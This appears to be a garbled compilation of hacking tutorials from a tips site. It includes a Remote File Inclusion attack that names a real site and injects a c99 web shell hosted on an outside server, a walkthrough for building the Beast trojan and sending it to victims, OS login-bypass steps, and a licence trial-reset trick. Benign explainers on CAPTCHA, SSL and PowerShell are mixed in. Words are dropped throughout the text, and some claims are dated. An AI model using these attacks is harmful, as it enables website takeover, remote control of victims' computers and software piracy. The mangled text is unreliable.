How to use Kaspersky for Lifetime without Patch

Generally Kaspersky provide us 30 days trial period on its Anti-virus Product. So there are the few steps that you have toperform when your trial license going to expire after 30 days for getting a new trial license.

Step 1. Delete old key and turn off self defense (Settings-Options turn off Enable self-defense, and clickOK).

Step 2. Open Registry editor (click start in windows menu then regedit and click Ok) and go throughThese:For 32bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ KasperskyLab AVP9 \ environmentFor 64bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ Wow6432Node \ KasperskyLab \ protected \ AVP9 \ environment

Step 3. Right look for PCID and right click and modify three or four last numbers or letters example: (8F10C22F-6EF6-4378-BAB1-34722F6D454) and enter any other three-letter four-number and close the Registry Editor.

Step 4. Right click on Kaspersky icon bar and choose exit.

Step 5. Go to Start-Programs menu, open the Kaspersky and when you activate searching trial license and you have newlicense of a peaceful month.

Step 6. Go to Kaspersky settings and turn on self-defense.

This is hardly a 2 minute job and you got again a trial period of 30 days, and there is no rush for more keys.Note : Most of the patches that you will found on the net are basically work on that trick, they simply make the changes inthe registry and change identification of your computer to the Kaspersky server, thus Kaspersky log server recognizes youas a new user and assigns you new trial license.

“Patching the antivirus like this is illegal this tutorial is for educational purpose only.”

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37. Disguise as google bot to view hidden data

Disguise as Google Bot to view Hidden Content of a Website

Have you ever experienced this? You ask Google to search something and it will return a lot of relevant search results, butif you try to open the ones with the most promising content, you with a registration page instead, and thestuff you were looking for will not be revealed to you unless you card transaction first. This means thatGoogle is able to see what a normal surfer cannot see.

The reason behind this is that Google uses a Bot called GoogleBot websites which force users to register oreven pay in order to search and use their content, leave a backdoor GoogleBot because a prominentpresence in Google searches is known to generate sales leads, exposure. Examples of such sites are Expert-Exchange, Windows Magazine, .Net Magazine, Nature, and many other sites around the globe.

What if you could disguise as GoogleBot then you can also see what GoogleBot can.

How to Disguise as Google Bot?

It is quite simple. You just need to change bro wser’s User Agent. To change your Browser’s User Agent follows thesteps given below:

Step 1:- Copy the following code segment into a notepad file and save it as Useragent.reg .

Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]@=”Googlebot/2.1 ″"Compatible”=”+http://www.googlebot.com/bot.html”

“Direct Download From Here: http://www.hackingtech.co.tv/useragent.reg ”

Step 2:- Now Double-Click on the file Useragent.reg to merge the registry file into your Windows Registry.

Step 3:- Now restart your computer. This is required to apply the changes made into the Registry.

Step 4:- Viola! You’re done! Now you have become Google Bot.

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How revert back to Normal Agent?

For IE users: To restore the IE User Agent, Follow the Given Steps Below:

Step 1:- Copy the following code segment into a notepad file and save it as Normalagent.reg .

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Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]@=”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”

Registry.

For Opera Users: Opera allows on-the-fly for switching of User Agents through its "Browser I dentification” function.

For Firefox users: Just download User Agent Switcher extension for Firefox.

Step 3:- Click” Add” and fill the following info rmation in the form.



Description: GoogleBotUser Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)App Name: GoogleBotApp Version: 5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)Platform: +http://www.google.com/bot.htmlVendor:Vendor Sub:

Step 4:- Click "OK”.

Step 5:- Now you may change the user agent on the fly.

“This is For Educational purpose do not hack any website through this.”

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38. How to download Facebook Videos

In This Tutorial I Will Explain You How to Download the Facebook Videos from your friends profile

Step 1:- First Of all open http://m.facebook.com on your PC browser. (Google Chrome recommended)

Step 2:- Then Login to Your Account.

Step 3:- After Logging in to your account go The Video page (Fig-1)

(Fig-1)

(Fig-2)

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Step 4:- Click on the External Link and a new window Will Open. (Fig-2)

Step 5:- Copy The URL of The Window.

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Step 6:- Now Paste this in the Internet Download Manager, add URL Window.

Step 7:- Click OK and You are done the video from your friends profile will be downloaded without any streaming.

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39. Hack a website by Remote File Inclusion

Another website attack named Remote file found in webapplication. This type of vulnerability allows If the attackergets successful in performing the attack he/she any commandon it.

Searching the VulnerabilityRemote File inclusion vulnerability is usually occurred in those sites which have a navigation similar to the below one

www.Targetsite.com/index.php?page=Anything

To find the vulnerability the hacker will most commonly use the Dork

"inurl:index.php?page=”

This will show all the pages which has "index.php?page=” in test whether the website is vulnerable toRemote file Inclusion or not the hacker use the following command

www.targetsite.com/index.php?page=www.google.com

Let’s say that the target website is http://www.cbspk.com So the hacker URL will become

http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then the website is vulnerable to this attack if itdoes not come up then you should look for a new target. In my case after executing the above command in the addressbar Google homepage shows up indicating that the website is vulnerable to this attack.

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Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I woulduse c99 shell.

“Download ‘Internet Download manager’ from here: http://www.hackingtech.co.tv/RFI/c99shell.zip “.

”The hacker would first upload the shells to a web hosting site such as ripway.com, 110mb.com etc.Now here is how a hacker would execute the shells to gain access. Let’s say that the URL of the shell is

http://h1.ripway.com/ yourdomain /c99.txt

Now here is how a hacker would execute the following command to gain access

http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/ yourdomain /c99.txt?

Remember to add " ? ” at the end of url or else the shell will not execute. Now the hacker is inside website and hecould do anything with it

any website listed here and try to

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40. What is CAPTCHA and how it works?

CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for "Completely Automated Public Turing test to tellComputers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated byhumans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the endof a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples ofCAPTCHA.

Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware ofwhat it is and why they are used. So in this post you will find detailed on how CAPTCHA works and why theyare used.

What Purpose does CAPTCHA Exactly Serve?

CAPTCPA is mainly used to prevent automated software (bots) actions on behalf of actual humans. Forexample while signing up for a new email account, you will come CAPTCHA at the end of the sign-up form so as toensure that the form is filled out only by a legitimate human and automated software or a computerbot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but fora computer, it is almost impossible to solve.

What is the Need to Create a Test that Can Tell Computers and Humans Apart?

For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from maliciousattacks where people try to game the system. Attackers can make use of automated software’s to generate a h ugequantity of requests thereby causing a high load on the target server which would degrade the quality of service of agiven system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and theirrequests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services fromGmail, Yahoo and Hotmail.

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Who Uses CAPTCHA?

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CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Web-based email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-upprocess, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.

Designing a CAPTCHA System

CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processingvisual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This isbecause computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presentingusers with an image which contains distorted or randomly stretched characters which only humans should be able toidentify. Sometimes characters are striked out or presented with a noisy background to make it even harder forcomputers to figure out the patterns.

Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tellhumans and computers apart. For example, a user is presented with 4 images in which 3 contains of animals andone contain a flower. The user is asked to select only those images which contain animals in them. This Turing test caneasily be solved by any human, but almost impossible for a computer.

Breaking the CAPTCHA

The challenge in breaking the CAPTCHA lies in real hard task of teaching computer how to process information in a way

similar to how humans think. Algorithms with artificial intelligence (AI) will be designed in order to make the

computer think like humans when it comes to recognizing the images. However there is no universal algorithm

that could pass through and break any CAPTCHA system and hence CAPTCHA algorithm must have to be tackled

individually. It might not work 100 percent of the time, but it can often enough to be worthwhile to spammers.

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41. Hack Password of any Operating System

How to Hack Password of any Operating System

Today we will learn how to hack and gain the access of a PCs operating system as one thing any hacker should know ishow to hack into login account of any operating system. Major Operating Systems that are used these days are Windows,Linux and Mac. So today I will show you how to hack into these Operating Systems. Are you curious how easy it is forsomeone to gain access to your computer? If so, read on to see the technique one might use to figure out your computerpassword.

So let’s start with the common OS

Windows -

Windows being very popular has a lot of programs available be used to hack the login password. One of themost successful programs is Ophcrack, and it is free. Ophcrack on Slack ware, and uses rainbow tables to solvepasswords up to 14 characters in length. The time required to solve a password? Generally 10 seconds. The expertiseneeded? None.

Simply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). Insert the CD into amachine you would like to gain access press and hold the power button until the computer shuts down. Turn thecomputer back on and enter BIOS at Change the boot sequence to CD before HDD, then save and exit.

The computer will restart and Ophcrack will be loaded. Sit back and watch as it does all the work for your. Write down thepassword it gives you, remove the disc, restart the computer, and log in as if it were you own machine.

You can download OphCrack from the following link:

http://ophcrack.sourceforge.net

There is another hack possible with the same technique using a CD named "Hiren Boot CD" for hacking Windowspassword.

You can download OphCrack from the following link:

http://www.hirensbootcd.net/download.html

Now Lets Continue With

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Linux -

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Linux is an operating system which is quickly gaining popularity in mainstream, but not so common that you’re likely tocome across it. Though Mac and Linux are both based on UNIX, it is easier to change the password in Linux than it is OS X.

To change the password, turn on the computer and press the ESC key when GRUB appears. Scroll down and highlight‘Recovery Mode’ and press the ‘B’ key; this will cause you to enter ‘Single User Mode’.

You’re now at the prompt, and logged in as ‘root’ by default. Type ‘passwd’ and then choose a new password . This willchange the root password to whatever you enter. If you’re interested in only gaining access to a single account on thesystem, however, then type ‘passwd username’ replacing ‘username’ with the login name for the account you would liketo alter the password for.

And finally hacking the

Mac -

Finally we take on Mac’s OS X which as we said earlier is based on UNIX and is difficult to change password compared toLinux but nothing is impossible to be hacked.

The easiest method would be to use Ophcrack on this also as it works with Mac and Linux in addition to Windows.However, there are other methods that can be used, as demonstrated below.

If the Mac runs OS X 10.4, then you only need the installation CD. Insert it into the computer, reboot. When it starts up,select UTILITIES > RESET PASSWORD. Choose a new password and then log in.

If the Mac runs OS X 10.5, restart the computer and press COMMAND + at the prompt, type:

fsck -fymount -uw /launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plistdscl . -passwd /Users/UserName newpassword

That’s it. Now that the password is reset, you can login.

“This Tutorial is for educational purpose only please do not hack any computer and their OS andtry to damage their data.

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42. Windows PowerShell Security in brief

First of all the question arises in your mind is that what is

Windows PowerShell???

Windows PowerShell is Microsoft's task automation framework, consisting of a command-line shell andassociated scripting language built on top of, and integrated with, the .NET Framework. PowerShell provides full accessto COM and WMI, enabling administrators to perform administrative tasks on both local and remote Windows systems.

In PowerShell, administrative tasks are generally performed by cmdlets (pronounced command-lets), specialized

.NET classes implementing a particular operation. Sets of cmdlets may be combined together

in scripts, executables (which are standalone applications), or instantiating regular .NET classes (or WMI/COM

Objects). These work by accessing data in different data stores, system or registry, which are made available

to the PowerShell runtime via Windows PowerShell providers.

Windows PowerShell also provides a hosting mechanism with which the Windows PowerShell runtime can be embedded

inside other applications. These applications then leverage Windows PowerShell functionality to implement certain

operations, including those exposed via the graphical interface. This capability has been utilized by Microsoft Exchange

Server 2007 to expose its management functionality as PowerShell cmdlets and providers and implement

the graphical management tools as PowerShell hosts which invoke the necessary cmdlets. Other Microsoft applications

including Microsoft SQL Server 2008 their management interface via PowerShell cmdlets. With PowerShell,

graphical interface-based management applications on Windows are layered on top of Windows PowerShell. In the future

all Microsoft applications running on the Windows platform are to be PowerShell aware.

Windows PowerShell includes its own extensive, console-based help, similar to man pages in UNIX shells via the Get-

Help cmdlet.

Let us now Study About the built-in PowerShell security features as well as some additional security you can configureonce in PowerShell.With all of the effort and sweat that has gone into PowerShell, it had better come with some advanced security. Well, itdoes! PowerShell is not just your routine scripting language. There are built in security features, as well as someadditional security you can configure once in PowerShell.

PowerShell Default Security

Just getting to the PowerShell interface can be a task for some. Not that this is security related, just that you must be inthe PowerShell interface before you can do much of anything. This in itself is security. There are however, some defaultsecurity measures that are there by design to help ensure that anyone with malicious intent is denied their efforts.

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What is in a path?

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The first default security measure that you will encounter is that fact that PowerShell won ’t run scripts that are in thecurrent folder. This is so that malicious scripts attempting to intercept cmdlets and command names will fail.

For example, if you wanted to run a script named Example.ps1 from the C:\scripts folder, you would need to include thefull path to the script, even if you were in the C:\scripts folder within PowerShell. Figure 1 illustrates what happens whenyou just try to run Example.ps1 without a path.

Figure 1: Scripts must include the path to the script to run successfully

Now, look at what happens when you run the script including the path to the script, as shown in Figure 2.

Why am I Restricted?

Another default setting that is directly related to security is the fact that all scripts must be run interactively. This is asecurity measure that ensures that PowerShell scripts cannot be executed from a script based virus. This means that youmust be at the PowerShell interface and run the script in real time for it to function.

This default setting is associated with the Execution Policy setting within PowerShell. The Execution Policy by default is setto Restricted, as shown in Figure 3.

Figure 3: The Execution Policy by default is set to Restricted to secure the execution of remote PowerShell scripts

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Going Beyond the Defaults:

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The default Execution Policy in PowerShell is very secure. It does not allow for any scripts to be run, from anywhere. So,scripts that you create and put on a system won’t run. Scripts that you download from the Internet won’t run. Scripts thatyou even sign and secure to the nth degree won’t run. Therefore, you will need to reset the level of Execution Policybefore you can run your scripts.

Setting the Execution Policy Level

There are four levels of the Execution Policy. These four levels provide you with great security over what scripts can runand what requirements need to be associated with the script to run. The four levels and the requirements include:

Restricted

This is the default configuration in PowerShell. This setting means that no script can run, regardless signature. Theonly things that can be run in PowerShell with this setting are individual commands.

All Signed

This setting does allow scripts to run in PowerShell. The script must have an associated digital signature from a trustedpublisher. There will be a prompt before you run the scripts from trusted publishers. This exposes you to running signed,but malicious, scripts.

Remote Signed

This setting allows scripts to be run, but requires that the script configuration files that are downloaded from theInternet have an associated digital signature from a trusted publisher. Scripts run from local computer don’t need to besigned. There are no prompts before running the script. Still exposes scripts that are signed, yet malicious.

Unrestricted

This is not a suggested setting! This allows unsigned scripts to run, including all scripts and configuration files downloadedfrom the Internet. This will include files Outlook and Messenger. The risk here is running scripts without anysignature or security.

To set anyone of these levels, just type set-execution policy <level>, as shown in Figure 4.

Figure 4: Setting the Execution Policy is as easy as running the set-execution policy command.

Using Group Policy

PowerShell is great, but if scripts can’t run on computers in your environment, it does have limitations. First, you must getPowerShell on each computer. Since PowerShell is installed via an EXE, it is very easy to install the application. You caneither use a ZAP file or push it out using Group Policy, or you can use your current centralized method of installingapplications. Keep in mind that PowerShell is considered a hot fix, so Windows Update can also push out the installationof PowerShell.

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After you get PowerShell installed, we just investigated that you need to enable scripts to run. With the Execution Policyset at Restricted as a default, you need to configure every computer to run scripts, that will run scripts. This could takedays if you are trying to do this manually.

However, you can also use Group Policy to get this done for you. Of course, you could create your own AdministrativeTemplate (ADM file) to make this change, or download the ADM template that Microsoft provides for you. I suggest youdo the latter by downloading the ADM template.

After downloading, you will need to install the MSI. I will admit, it is not the cleanest or most efficient install. Afterinstallation, the ADM file is shoved under the C:\program files\Microsoft Group Policy folder. If nothing else, this is greatsecurity! The file you need to import into the Group Policy Object Editor is Power Shell Extension Policy. ADM Afterimporting, you will have two new nodes in your Group Policy Object. One will be at ComputerConfiguration\Administrative Templates\Windows Components\Windows PowerShell and the other at UserConfiguration\Administrative Templates\Windows Components\Windows PowerShell, as shown in Figure 5.

Figure 5: PowerShell ADM template adds settings to Computer Configuration and User Configuration for script execution

When you go to configure this policy, you will see that you have three options for a setting, as shown in Figure 6.

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Summary

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PowerShell is the new kid on the block. With Windows Server 2008 coming out in early 2008, PowerShell will take off likea rocket ship. With all of the attention that PowerShell is getting, everyone is hoping that it comes with security alreadybuilt-in. Well, the worry is over. PowerShell provides security directly out of the box, with default security features. Thefact that the scripts are set to have a restricted execution policy is fantastic. Even if you have created a .PS1 file, that scriptbeing associated with Notepad is nice default security. Even if you can get to the PowerShell interface, the fact that thepath to the script must be typed in adds value. Beyond the defaults, being able to set the execution policy and controlPowerShell through Group Policy gives centralized control over PowerShell security.

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43. What is Secure Sockets Layers (SSL)?

Secure Sockets Layer (SSL) is the most widely used between the webclient and the web server. Most of us are familiar protocol in theirlogin pages. When we see this, we may wonder what’s the difference between http and https . In simple words HTTPprotocol is used for standard communication between the Web server and the client. HTTPS is used for a SECUREcommunication.

What exactly is Secure Communication?

Suppose there exists two communication parties A (client) and

Working of HTTP

When A sends a message to B , the message is sent as a plain text unencrypted manner. This is acceptable in normalsituations where the messages exchanged are not confidential. But imagine a situation where A sends a PASSWORD to B .In this case, the password is also sent as a plain text. This has a serious security problem because, if an intruder (hacker)can gain unauthorized access to the ongoing communication between A and B , he can see the PASSWORDS since theyremain unencrypted. This scenario is using the following figure.

Now lets see the working of HTTPS

When A sends a PASSWORD (say " mypass ") to B , the message is sent in an encrypted format. The encrypted message isdecrypted on B ’s side. So even if the Hacker gains an unauthorized access to the ongoing communic ationbetween A and B he gets only the encrypted password (" xz54p6kd ") and not the original password. This is shown below.

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How is HTTPS implemented?

HTTPS is implemented using Secure Sockets Layer (SSL). A website can implement HTTPS by purchasing SSL Certificate.Secure Sockets Layer (SSL) technology protects a Web site and makes it easy for the Web site visitors trust it. It has the

following uses

1.

2.

3.

An SSL Certificate enables encryption of sensitive information during online transactions.

Each SSL Certificate contains unique, authenticated information about the certificate owner.

A Certificate Authority verifies the identity of the certificate is issued.

How Encryption Works?

Each SSL Certificate consists of a Public key and a Private Key. used to encrypt the information and theprivate key is used to decrypt it. When your browser connects the server sends a Public key to thebrowser to perform the encryption. The public key is made available to every one but the private key (used fordecryption) is kept secret. So during a secure communication, the browser encrypts the message using the public key andsends it to the server. The message is decrypted on the server side using the Private Key (Secret key).

How to identify a Secure Connection?

In Internet Explorer, you will see a lock in the Security Status bar. The Security Status bar is located on the rightside of the Address bar. You can click the lock to view the identity of the website.

In high-security browsers, the authenticated organization name is prominently displayed and the address barturns GREEN when an Extended Validation SSL Certificate is detected. If the information does not match or the certificatehas expired, the browser displays an error message or warning and the status bar may turn RED .

So the bottom line is, whenever you perform an on-line transaction such as Credit card payment, Bank login or Emaillogin always ensure that you have a secure communication. A secure communication is a must in these situations.Otherwise there are chances of Phishing using a Fake login Page .

How secure is the encryption used by SSL?

It would take significantly longer than the age of the universe to crack a 128-bit key.

SSL uses public-key encryption to exchange a session key between the client and server; this session key is used toencrypt the http transaction (both request and response). Each transaction uses a different session key so that even if

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someone did manage to decrypt a transaction, that would not mean that they would have found the server's secret key; ifthey wanted to decrypt another transaction, they'd need to spend as much time and effort on the second transaction asthey did on the first. Of course, they would have first have to have figured out some method of intercepting thetransaction data in the first place, which is in itself extremely difficult. It would be significantly easier to tap your phone,or to intercept your mail to acquire your credit card number than to somehow intercept and decode Internet Data.

Servers and browsers do encryption ranging from a 40-bit secret key to a 128-bit secret key, that is to say '2 to the 40thpower' or '2 to the 128th power'. Many people have heard that 40-bit is insecure and that you need 128-bit to keep yourcredit card info safe. They feel that using a 40-bit key is insecure because it's vulnerable to a "brute force" attack(basically trying each of the 2^40 possible keys until you find the one that decrypts the message). This was in factdemonstrated when a French researcher used a network of fast workstations to crack a 40-bit encrypted message in alittle over a week. Of course, even this 'vulnerability' is not really applicable to applications like an online credit cardtransaction, since the transaction is completed in a few moments. If a network of fast computers takes a week to crack a40-bit key, you'd be completed your transaction and long gone before the hacker even got started.

Of course, using a 128-bit key eliminates any problem at all because there are 2^128 instead of 2^40 possible keys. Usingthe same method (a networked of fast workstations) to crack a message encrypted with such a key takesignificantly longer than the age of the universe using conventional technology. Remember that 128-bit is not just 'threetimes' as powerful as 40-bit encryption. 2^128 is 'two times two, times two, times two...' with 128 two's. That is two,doubled on itself 128 times. 2^40 is already a HUGE number, about a trillion (that's a million, million!). Therefore 2^128is that number (a trillion), doubled over and over on itself another 88 times. Again, it would take significantly longer thanthe age of the universe to crack a 128-bit key.

Key Size

2-bit

3-bit

4-bit

5-bit

6-bit

7-bit

8-bit

9-bit

10-bit

11-bit

12-bit

16-bit

24-bit

30-bit

2^2

2^3

2^4

2^5

2^6

2^7

2^8

2^9

2^10

2^11

2^12

2^16

2^24

2^30

2x2

2x2x2

2x2x2x2

2x2x2x2x2

2x2x2x2x2x2

2x2x2x2x2x2x2

2x2x2x2x2x2x2x2

2x2x2x2x2x2x2x2x2

2x2x2x2x2x2x2x2x2x2

2x2x2x2x2x2x2x2x2x2...

2x2x2x2x2x2x2x2x2x2...

2x2x2x2x2x2x2x2x2x2...

2x2x2x2x2x2x2x2x2x2...

2x2x2x2x2x2x2x2x2x2...

=4

=8

= 16

= 32

= 64

= 128

= 256

= 512

= 1024

= 2048

= 4096

= 65536

= 16.7 million

= 1 billion (1,073,741,800)

Possible Key Combinations

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40-bit

56-bit

2^40

2^56

2x2x2x2x2x2x2x2x2x2...

2x2x2x2x2x2x2x2x2x2....

2 multiplied by 2128 times over.

= 1 trillion (1,097,728,000,000)

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= 72 thousand quadrillion (71,892,000,000,000,000)

= 339,000,000,000,000,000,000,000,000,000,000,000(give or take a couple trillion...)

128-bit 2^128

Doing the math, you can see that using the same method that was used to break 40-bit encryption in a week, it wouldtake about 72 million weeks (about 1.4 million years) to even break '56-bit medium' encryption and significantly longerthan the age of the universe to crack a 128-bit key. Of course the argument is that computers will keep getting faster,about doubling in power every 18 months. That is true, but even when computers are a million times faster than they arenow (about 20 years from now if they double in speed every year), it would then still take about 6 thousand, trillion years,which is about a million times longer than the Earth has been around. Plus, simply upgrading to encryption wouldtake twice as long, and 130-bit would take twice as long again. As you can see, it's far easier for the encryption to keepwell ahead of the technology in this case. Simply put, 128-bit encryption is totally secure.

How do I know if encryption is enabled or not?

Your Browser (Netscape or Internet Explorer) will tell you.

In Netscape versions 3.X and earlier you can tell what kind of encryption for a particular document by looking at the "document" information" screen accessible from the file menu. The in the lower left-hand corner of the Netscape window also indicates this information. A solid key with three means 128-bit encryption, a solid key with two teeth means 40-bit encryption, and a broken key means no Even if your browser supports 128-bit encryption, it may use 40-bit encryption when talking to other servers outside the U.S. and Canada. In Netscape versions 4.X and higher, click on the "Security" button determine whether the current page is encrypted, and, if so, what level of encryption is in use.

In Microsoft Internet Explorer, a solid padlock will appear on the bottom right of the screen when encryption is in use. Todetermine whether 40-bit or 128-bit encryption is in effect, open the document information page using File->Properties .This will indicate whether "weak" or "strong" encryption is in use.

What about warnings or errors about Secure Certificate?

Your personal Security settings will determine what warnings you see.

Depending on how your security settings are setup in your Browser, you may also see information about our Certificatewhen you enter the secure directories. This information will usually include the Dates that the Certificate is valid for, thesite name that the Certificate has been issued to, and the Certificate Authority (or 'CA') that issued the Certificate. Youcan also usually view the Certificate to see information about the various parties, including Inet2000 and our CA.

The most common warning is that you have not previously chosen to Trust the authority. This is a normal warning if youhaven't already purchased anything online from a Merchant who's certificate was issued by a Certificate Authority thatyou haven't told your browser to trust from now on. Of course, you may well have no errors, warnings or informationscreens at all - again, largely depending on the way you've got your security settings set in your Browser.

In any case, the encryption level and the security is the same whether you've got your settings low (don't warn me aboutanything) or very high (warn and inform me about everything). Either way, your data is still encrypted and still secure.

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44. Make a Private Folder with your password

Step 1:- Open the Notepad.exe

Step 2:- Copy the following code into the notepad.

Quote: cls@ECHO OFFtitle Folder Privateif EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCKif NOT EXIST Private goto MDENTER PASSWORD TO OPEN:CONFIRMecho -----------------------------------------------------------echo ================== Www.hackingtech.co.tv ==================echo -----------------------------------------------------------echo Are you sure you want to lock the folder(Y/N)echo Press (Y) for Yes and Press (N) for No.echo -----------------------------------------------------------set/p "cho=>"if %cho%==Y goto LOCKif %cho%==y goto LOCKif %cho%==n goto ENDif %cho%==N goto ENDecho Invalid choice.goto CONFIRM:LOCKren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"echo Folder lockedgoto End:UNLOCKecho -----------------------------------------------------------echo ================== Www.hackingtech.co.tv ==================echo -----------------------------------------------------------echo Enter password to unlock folderset/p "pass=>"if NOT %pass%== YOUR PASSWORD goto FAILattrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Privateecho Folder Unlocked successfullygoto End:FAILecho Invalid password

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goto end:MDENTER PASSWORD TO OPENmd Privateecho Private created successfullygoto End:End

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Step 3:- Now change the password in the if NOT %pass%==YOUR PASSWORDgoto FAIL line replace text of YourPassword with your password for the folder lock.

Step 4:- Now save this file as locker.bat and you are done.

Step 5:- Now Open the Locker.bat file and enter your password to open a private folder of yours.

Step 6:- Now copy paste the files which you want to hide and make it secure in the private folder

Step 7:- Now again open the Locker.bat file and press 'Y' to lock the private folder with your password.

Step 8:- Now to again open the secured files open the locker.bat file Enter your password and your files are there for you.

“You can use Bat to exe converter and can convert file to safeguard the code above.”

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45. Making a Trojan using Beast 2.06

Step 1:- Download the necessary software i.e. Beast 2.06

“Download Beast 2.06 from here: http://www.hackingtech.co.tv/Trojans/Beast.rar ”.

Step 2:- Unrar the pack.

Step 3:- Open the software you will get the screen as shown below.

Step 4:- Now click

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Step 5:- Now in this window click on the notifications tab.

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Step 6:- In the notifications tab click

Step 7:- Now In this window fill your

Step 8:- Now go to "AV- FW kill” tab.

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Step 9: - Now In this put a tick mark on the “disable XP firewall ".

Step 10:- Now click on "EXE icon”

Step 11:- In this tab select any icon for the file from the list or you can browse the icon from the directory and can use it.

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Step 12:- Now click on the”Save

Step 13:- Now send this Trojan File to victim.

Step 14:- As and when the victim will install the Trojan on his system you will get a notification e-mail on your specified e-mail id while making the Trojan. This consists of the IP address and port of the victim.

Step 15:- Put This IP address and Port place shown in the below snap-shot.

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Step 16:- After That Click on the "Go Beast” Button and You will be connected to victims PC.

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Step 17:- Now select the action

Step 18:- Now to destroy or kill the Trojan click on the “server “tab from the menu.

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Step 19:- Now click on the “Kill Server “button and the Trojan will be destroyed from the victims PC.

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Step 20:- You are Done Now.

educational Purpose. ”

http://www.hackingtech.co.tv/index/making_of_trojan_using_beast_2_06/0-77#ixzz152xyeVCC

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46. Hacking yahoo messenger for multi login

We often chat on yahoo messenger. I don‘t think so that there is anyone who really doesn‘t know about yahoomessenger, hope you are agree with this comment? But what most people don‘t know is that we can chat with multipleaccounts on yahoo messenger at same time. In other words we can chat with different Ids at same time.

So if you need to open and login multiple Yahoo! Messenger accounts as you have a few Yahoo! various otherreason, just use the small registry registration file below that once click, will modify and merge the settingrequired to run and execute multiple Yahoo! Messengers at the same time on a computer.

There are two Methods of doing this

1. Automatic Method

http://www.hackingtech.co.tv/YahooMulti.rar ”.

Step1:- Open Registry Editor (regedit.exe) Click Start > Run and then type ' regedit ' press enter.

Step2:- Then Look For- HKEY_CURRENT_ USER\Software\yahoo\ pager\Test.

Step3:- Then change this

“For beginners I will recommend the first method just download and install the script. People whodo know registry they can try to manually do this hack. ”

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47. 5 Tips to secure your Wi-Fi a connection

1. Install a Firewall A firewall helps protect your PC by preventing unauthorized users from gaining access to yourcomputer through the Internet or a network. It acts as a barrier any information coming from the Internet ora network, and then either blocks the information or allows it through to your computer.

2. Change the Administrative Password on your Wireless Routers manufacturer ships their wireless routers with adefault password for easy initial access. These passwords are on vendor support sites, and should thereforebe changed immediately.

3. Change the Default SSID Name and Turn off SSID Broadcasting This will require your wireless client computers tomanually enter the name of your SSID (Service Set Identifier) before they can connect to your network, greatly minimizingthe damage from the casual user whose is configured to connect to any available SSID broadcast it finds. Youshould also change the SSID name from factory default, since these are just as well-known as the default passwords

4. Disable DHCP for a SOHO network with only a few computers consider disabling DHCP (Dynamic Host ConfigurationProtocol) on your router and assigning IP addresses to your client computers manually. On newer wireless routers, youcan even restrict access to the router to specific MAC addresses.

5. Replace WEP with WPA WEP (Wired Equivalent Privacy) is a security protocol that was designed to provide a wirelesscomputer network with a level of security and privacy comparable to what is usually expected of a wired computernetwork. WEP is a very weak form of security that uses common 60 or 108 bit key shared among all of the devices on thenetwork to encrypt the wireless data. Hackers can access tools freely available on the Internet that can crack a WEP key inas little as 15 minutes. Once the WEP key is cracked, the network traffic instantly turns into clear text – making it easy forthe hacker to treat the network like any open network. WPA (Wi-Fi Protected Access) is a powerful, standards-based,interoperable security technology for wireless computer networks. It provides strong data protection by using 128-bitencryption keys and dynamic session keys to ensure a wireless computer network's privacy and security. Manycryptographers are confident that WPA addresses all the known attacks on WEP. It also adds strong user authentication,which was absent in WEP.

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48. Upgrade Windows 7 to any higher version

How to Upgrade Windows 7 to Any Higher Version for Free

You bought a new computer with a Windows 7and want to upgrade to Professional or Ultimate for free in as few as 10 minutes .

Your pre-installed version of Windows 7 actually includes all files that are necessary to perform an in-place (local) upgradewithout downloading anything from the internet. One simply needs unlocking features included in higher versions.

You can upgrade Windows 7

Here's what you need to do: To upgrade from one edition Anytime Upgrade. On your PC,open Windows Anytime Upgrade by clicking the Start button , typing Windows Anytime Upgrade in the search box, andthen clicking Windows Anytime Upgrade in the list of results . You will be presented with a screen offering 2 options, oneof them suggesting you have a valid Windows Anytime Upgrade key.

Once the key has been copied into the appropriate field, it will be verified by MS and the upgrade process will take place.The whole process actually doesn't last longer than 10 minutes, your computer will reboot once or twice. Upon restart,you will notice it now runs a genuine higher version of Windows 7.

* You can use Windows Anytime Upgrade to upgrade from a 32-bit version of Windows 7 to a 32-bit version of Windows 7and from a 64-bit version of Windows 7 to a 64- bit version of Windows 7, but you can’t upgrade from a 32 -bit version ofWindows 7 to a 64-bit version of Windows 7 or vice versa.

* Windows Anytime Upgrade isn’t available in all editions of Windows 7 - obviously not in Ultimate version.

“Download Windows Anytime Upgrade key from here: http://u.to/MSek

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49. World’s top 10 internet hackers of all time

